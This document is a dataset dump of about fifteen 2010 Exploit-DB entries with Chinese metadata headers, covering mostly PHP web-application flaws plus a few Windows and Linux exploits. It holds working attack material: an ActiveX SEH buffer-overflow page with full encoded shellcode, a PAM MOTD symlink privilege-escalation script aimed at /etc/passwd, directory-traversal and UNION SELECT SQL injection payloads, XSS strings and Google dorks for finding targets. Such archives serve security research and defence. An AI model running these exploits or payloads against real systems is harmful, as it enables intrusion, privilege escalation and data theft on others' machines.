QLWD/code_shield huggingface dataset:
标题: Edgephp ClickBank Affiliate Marketplace Script - Multiple Vulnerabilities EDB-ID: 14322 CVE: 2010-2700 2010-2699 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-10 漏洞利用脚本: Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Edgephp Clickbank Affiliate Marketplace Script Multiple
Vulnerability
Vendor url:http://www.edgephp.com
Version:1
Published: 2010-07-11
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Let your users search all listings or just show products from your niche. No
matter what interest brings visitors to your site, there's a good chance
those visits can be monetized with Clickbank.
CBQuick has just been improved again, is completely Clickbank TOS compliant,
and now includes the following:

Click Tracking
One Click Updates
No Duplicate Listings
Product Stats

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL:

http://server/index.php?search=[sqli]

*XSS Vulnerability

DEMO URL:

http://server/index.php?search=[xss]

*HTML Vulnerability

DEMO URL:

http://server/index.php?search=[html]

*URL Redirection

# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/14322
标题: My Kazaam Notes Management System - Multiple Vulnerabilities EDB-ID: 14325 CVE: 2010-4985 2010-4984 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-10 漏洞利用脚本: Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: My Kazaam Notes Management System Multiple Vulnerability
Vendor url:http://www.mykazaam.com
Version:1
Published: 2010-07-11
Greetz to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j.
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Use as an order tracking system with Message confirmed, as a progress chart
or an online diary. Operates with file numbers to separate entries

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

Enter the attack parameter on the "Enter Refernce Number Below" Text box

*SQLi Vulnerability

DEMO URL :

http://server/path/notes.php[sqli]

*XSS Vulnerability

DEMO URL:

http://server/path/notes.php[xss]

*HTML Vulnerability

DEMO URL:

http://server/path/notes.php[html]


# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/14325
标题: Joomla! Component redSHOP 1.0 - 'pid' SQL Injection EDB-ID: 14312 CVE: 2010-2694 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-10 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
  Joomla Component com_redshop 1.0 (pid) SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : July, 10-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : redSHOP
Version  : 1.0 Lower versions may also be affected
Vendor   : http://www.redcomponent.com/
License  : GPL
Google Dork : inurl:com_redshop
Description :

redSHOP is a Content Creation Kit style of webshop / webshop tool where 
you got the most access ever given to any user to completely style around 
and change thier webshop, without alot more knowledge then HTML and a bit of CSS.
----------------------------------------------------------------

Poc:
~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_redshop&view=product&pid=[SQLi]

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/14312
标题: My Kazaam Address & Contact ORGanizer - SQL Injection EDB-ID: 14326 CVE: 2010-4982 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-10 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
  My Kazaam Address & Contact Organizer SQL Injection Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m
Site     : http://yogyacarderlink.web.id/
Date  : July, 11-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00
----------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Address & Contact Organizer
Vendor   : http://www.mykazaam.com/
Description :

Numerous search features with overview and expanded view results. Lots 
of neat features built in, has been compared to ACT.
----------------------------------------------------------------

Poc:
~~~~~~~

http://127.0.0.1/[path]/address_book/contacts.php?var1=[SQLi]

----------------------------------------------------------------

WWW.YOGYACARDERLINK.WEB.ID | v3n0m666[at]live[dot]com

---------------------------[EOF]-------------------------------- URL: https://www.exploit-db.com/exploits/14326
标题: Microsoft - 'MSHTML.dll' CTIMEOUTEVENTLIST::INSERTINTOTIMEOUTLIST Memory Leak EDB-ID: 14295 CVE: 2010-3886 类型: DOS 平台: WINDOWS 发布日期: 2010-07-09 漏洞利用脚本: <html>
<!--http://reversemode.com/index.php?option=com_content&task=view&id=68&Itemid=1 -->
<!-- mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rubén Santamarta www.reversemode.com -->

    <head>

        
        <title>mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rubén Santamarta www.reversemode.com</title>

        <script type='text/javascript'>
      var i = 1; // counter
      
            function LeakOrDie() {
             var t;
       t=setInterval("foo()",2000);
       t-=i;
       document.getElementById('atun').innerHTML = '<b> Pointer leaked:</b> '+'0x'+t.toString(16);
       i++;
            }
            
           function foo()
           {
            return;
           }
            
            
        </script>

    </head>

    <body>

 
 <INPUT TYPE=button VALUE="Press to leak"  ONCLICK="LeakOrDie();">

 <br /><br />

  <div id='atun'>  </div>
    
   </body>

</html> URL: https://www.exploit-db.com/exploits/14295
标题: Joomla! Component QuickFAQ 1.0.3 - Blind SQL Injection EDB-ID: 14296 CVE: 2010-2845 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-09 漏洞利用脚本: -----------------------------------------------------------------------------------------
 Joomla   Component  (com_quickfaq)  BSQL-i Vulnerability
-----------------------------------------------------------------------------------------
[+]Title                Joomla   Component  (com_quickfaq)  BSQL-i Vulnerability
[+]Author          **RoAd_KiLlEr**
[+]Contact        RoAd_KiLlEr[at]Khg-Crew[dot]Ws
[+]Tested on     Win Xp Sp 2/3
---------------------------------------------------------------------------
[~] Founded by **RoAd_KiLlEr**
[~] Team: Albanian Hacking Crew
[~] Contact: RoAd_KiLlEr[at]Khg-Crew[dot]Ws 
[~] Home: http://inj3ct0r.com
[~] Vendor: http://www.schlu.net
[~] Download Application:http://www.schlu.net/downloads/16-component/77-quickfaq.html
[~] Version: 1.0.3
==========ExPl0iT3d by **RoAd_KiLlEr**==========

[+]Description:
QuickFAQ is an easy to use but powerful FAQ management system.

Feature List:
* Unlimited Subcategories
* Assign FAQ Items to multiple Categories
* Create Tags/Labels to flag FAQ Items
* Up/down voting of FAQ Items
* Favoure FAQ Items to maintain a personal bookmark list
* Document uploader/manager
* PDF creation of FAQ Items
* RTL support
* RSS/ATOM Feeds
* Detailed statistics
* JComments and JomComments integration
=========================================

[+] Dork: inurl:"com_quickfaq"

==========================================


[+].  SQL-i Vulnerability
=+=+=+=+=+=+=+=+=+

[Exploit]:  http://127.0.0.1/path/index.php?option=com_quickfaq&view=category&cid=[Valid Cid]&Itemid= [BSQL-Injection] URL: https://www.exploit-db.com/exploits/14296
标题: Linux PAM 1.1.0 (Ubuntu 9.10/10.04) - MOTD File Tampering Privilege Escalation (1) EDB-ID: 14273 CVE: 2010-0832 类型: LOCAL 平台: LINUX 发布日期: 2010-07-08 漏洞利用脚本: #!/bin/sh
#
# EDB Note: Updated exploit ~ https://www.exploit-db.com/exploits/14339/
#
# Exploit Title: Ubuntu PAM MOTD file tampering (privilege escalation)
# Date: July 7, 2010
# Author: Kristian Erik Hermansen <kristian.hermansen@gmail.com>
# Software Link: http://packages.ubuntu.com/
# Version: pam-1.1.0
# Tested on: Ubuntu 10.04 LTS (Lucid Lynx)
# CVE : CVE-2010-0832
#
# Notes: Affects Ubuntu 9.10 and 10.04 LTS
# [Patch Instructions]
# $ sudo aptitude -y update; sudo aptitude -y install libpam~n~i
#

if [ $# -eq 0 ]; then
    echo "Usage: $0 /path/to/file"
    exit 1
fi

mkdir $HOME/backup 2> /dev/null
tmpdir=$(mktemp -d --tmpdir=$HOME/backup/)
mv $HOME/.cache/ $tmpdir 2> /dev/null
echo "\n@@@ File before tampering ...\n"
ls -l $1
ln -sf $1 $HOME/.cache
echo "\n@@@ Now log back into your shell (or re-ssh) to make PAM call vulnerable MOTD code :)  File will then be owned by your user.  Try /etc/passwd...\n" URL: https://www.exploit-db.com/exploits/14273
标题: Qt 4.6.3 - 'QSslSocketBackendPrivate::transmit()' Denial of Service EDB-ID: 14268 CVE: 2010-2621 类型: DOS 平台: MULTIPLE 发布日期: 2010-07-08 漏洞利用脚本: Source:
http://aluigi.org/adv/qtsslame-adv.txt

#######################################################################

Luigi Auriemma

Application: Qt
http://qt.nokia.com
Versions: <= 4.6.3
Platforms: Windows, Mac OS X, Linux, mobile devices
Bug: QSSLsocket endless loop
Exploitation: remote, versus server
Date: 29 Jun 2010
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"Qt is a cross-platform application and UI framework.
Using Qt, you can write web-enabled applications once and deploy them
across desktop, mobile and embedded operating systems without rewriting
the source code."


#######################################################################

======
2) Bug
======


The part of the network library which handles the SSL connection can be
tricked into an endless loop that freezes the whole application with
CPU at 100%.

The problem is located in the QSslSocketBackendPrivate::transmit()
function in src_network_ssl_qsslsocket_openssl.cpp that never exits
from the main "while" loop.

Any application that acts as a server (and client, but has no security
impact in this scenario) and uses SSL through the QSslSocket class is
vulnerable and some examples are the Mumble server (Murmur),
Multi-Computer Virtual Whiteboard and so on.


#######################################################################

===========
3) The Code
===========

http://aluigi.org/poc/qtsslame.zip
or
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34227.zip (qtsslame.zip)


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/14268
标题: Joomla! Component Music Manager - Local File Inclusion EDB-ID: 14274 CVE: 2010-2857 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-08 漏洞利用脚本: Critical Level  : HIGH
Vendor Url : http://danieljamesscott.org/software/4-joomla-extensions/4-music-manager.html
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
########################################################
#   I'm SiD3^effects member from Inj3ct0r Team         #
#    Support e-mail  : submit[at]inj3ct0r.com          #
########################################################
Description 
Music Manager is an extension for Joomla! 1.5 which allows management of a music collection. It is easy to use and very flexible. Users can manage their music collection by artist, album and song. This component provides users with the ability to manage their music collection in a flexible and professional manner.

Begin by adding an entry to the 'Artists' table. This can be just yourself, if you are building your own music website, or every artist on the planet if you're building a music library. Then, add albums and fill in the name, description and creation year. Album art can be added to the images/albumart directory using the media manager and will then appear in the select-list on the album page. Finally, add songs to each album, upload mp3s to the images/songs directory and select them from the drop-down list.
######################################################################################################
Xploit :LFI Vulnerability

Demo Url :http://server/component/music/album.html?cid=[LFI]%00
#######################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14274
标题: KMSoft GB - SQL Injection EDB-ID: 14281 CVE: 2010-4987 类型: WEBAPPS 平台: ASP 发布日期: 2010-07-08 漏洞利用脚本: ==============================================================
KMSoft GB --SQl iNjection  Vulnerabilty 
==============================================================


Name : KMSoft GB --SQl iNjection  Vulnerabilty  
Date : july 9,2010
Critical Level     :VERY HIGH
vendor URL :   http://www.kmsoft.org 


Author : ..::[ SONiC ]::.. aka ~the_pshyco~ <sonicdefence[at]gmail.com>

special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,Bunny,Nishi,MA1201,RJ,D3aD F0x

greetz to :www.topsecure.net ,All ICW members , iNj3cT0r.com, www.andhrahackers.com

special Shoutz : my Girl Frnd [H*****] 


###################################
I'm SONiC member from Inj3ct0r Team
################################### 
Description:

* Really easy script setup, using and modifications. * Turning Number (CAPTCHA). * Bad- Words Filter. * Web based admin functions (active message / deactive message / special message (ON- OFF) | view / add / edit / delete records)


#######################################################################################################
Xploit :SQL injection  Vulnerabilty 

DEMO URL  http://www.site.org/demo/KmsoftGB/default.asp?p=2[sqli]



###############################################################################################################

# ..::[ SONiC ]::.. aka the_pshyco URL: https://www.exploit-db.com/exploits/14281
标题: FathFTP 1.7 - ActiveX Buffer Overflow EDB-ID: 14269 CVE: 2010-2701 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-08 漏洞利用脚本: <html>
<object classid='clsid:62A989CE-D39A-11D5-86F0-B9C370762176'
id='target'></object>
<script language='vbscript'>
' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow
' Date: July 7, 2010
' Author: Blake
' Software Link: http://www.softpedia.com/get/Programming/Components-Libraries/FathFTP.shtml
' Version: 1.7
' Tested on: Windows XP SP3 / IE6
' Note: The GetFromURL member is also vulnerable to a stack overflow (EIP overwrite).

' 6784 bytes of shellcode space
' EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
unescape("%50%68")


buffer = string(1188, "A")
next_seh = unescape("%eb%06%90%90")              ' short jump
seh = unescape("%56%29%d1%72")                      ' 0x72D12956 [msacm32.drv]
nops = string(10, unescape("%90"))                        ' nop sled
junk = string(12820, "B")

exploit = buffer + next_seh + seh + nops + shellcode + junk
target.RasIsConnected exploit

</script> URL: https://www.exploit-db.com/exploits/14269
标题: Joomla! Component ArtForms 2.1b7.2 rc2 - Multiple Vulnerabilities EDB-ID: 14263 CVE: 2010-2848 2010-2847 2010-2846 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-07 漏洞利用脚本: ArtForms 2.1b7.2 RC2 Joomla Component Multiple Remote Vulnerabilities

 Name              ArtForms
 Vendor            http://joomlacode.org/gf/project/jartforms/
 Versions Affected 2.1b7.2 RC2

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2010-07-07

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 

I. ABOUT THE APPLICATION
________________________

ArtForms is a popular Joomla component.
The ArtForms component  is  a  package  for an easy From
Generator for Joomla 1.0.xx. It  allows  you to generate
as  much  Forms  as  you like, you can define all fields
that  you  need and also make file upload and attachment
possible.


II. DESCRIPTION
_______________

Some parameters are not sanitised  before  being  used in
SQL queries and in danger PHP's functions.
The vulnerabilities are reported in version  2.1b7.2 RC2. 
Other versions may also be affected.


III. ANALYSIS
_____________

Summary:

 A) Multiple SQL Injection
 B) Directory Traversal
 C) Reflected XSS
 

A) Multiple SQL Injection
_________________________

The parameters viewform and id are not properly sanitised
before being used in a SQL query.This can be exploited to
manipulate SQL queries by injecting arbitrary SQL code.


B) Directory Traversal
______________________

The  l  parameter  in  alikon/captcha.php is not properly
sanitised before being used to create a path  for  a file
that will be downloaded.This can be exploited to download
arbitrary  files  from   local  resources  via  directory 
traversal  attacks.


C) Reflected XSS
________________

The  afmsg  parameter  is  not  properly sanitised before
being printed.This allows the execution of arbitrary HTML
code.


IV. SAMPLE CODE
_______________

A) Multiple SQL Injection

index.php?option=com_artforms&task=ferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=vferforms&id=1 UNION SELECT 1,2,3,4,5,6%23
index.php?option=com_artforms&task=tferforms&viewform=1 UNION SELECT 1,2,3,4,5,6%23


B) Directory Traversal

http://site/path/components/com_artforms/assets/captcha/includes/alikon/playcode.php?l=../../../../../../../../../../../../etc/passwd%00


C) Reflected XSS

index.php?option=com_artforms&formid=1&afmsg=<script>alert('xss');</script>


V. FIX
______

No fix. URL: https://www.exploit-db.com/exploits/14263
标题: Simple Document Management System - SQL Injection EDB-ID: 14262 CVE: 2010-4986 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-07 漏洞利用脚本: ########################################################
#   I'm SiD3^effects member from Inj3ct0r Team         #
#    Support e-mail  : submit[at]inj3ct0r.com          #
########################################################
Name : SDMS(Simple document management system) SQli Vulnerability
Date : july, 7 2010
Critical Level  : HIGH
Vendor Url : http://sdms.cafuego.net/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
######################################################################################################
Xploit :SQli Vulnerability

Demo Url :http://server/detail.php?doc_id=[sqli]
#######################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/14262
标题: PsNews 1.3 - SQL Injection EDB-ID: 14251 CVE: 2010-2716 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-06 漏洞利用脚本: #########################################################################################
# Exploit Title : PsNews Sql Injection Vulnerability
# Date : 6 - 7 - 2010
# Author : S.W.T
# Vendor : http://www.psnews.sourceforge.net
# Version : 1.3
# Tested on : Linux & Windows
# Home : WwW.SeC-WaR.CoM <http://www.sec-war.com/>
#########################################################################################

                                               -== SQL Injection
Vulenrability ==-

http://www.[site].com/[path]/ndetail.php?id=[SQL1]

http://www.[site].com/[path]/print.php?id=[SQL2]


#########################################################################################

                                                 This Is Security War Team

                                        Penetration Testing & Ethical Hacking

                                                       No More Privates

######################################################################################### URL: https://www.exploit-db.com/exploits/14251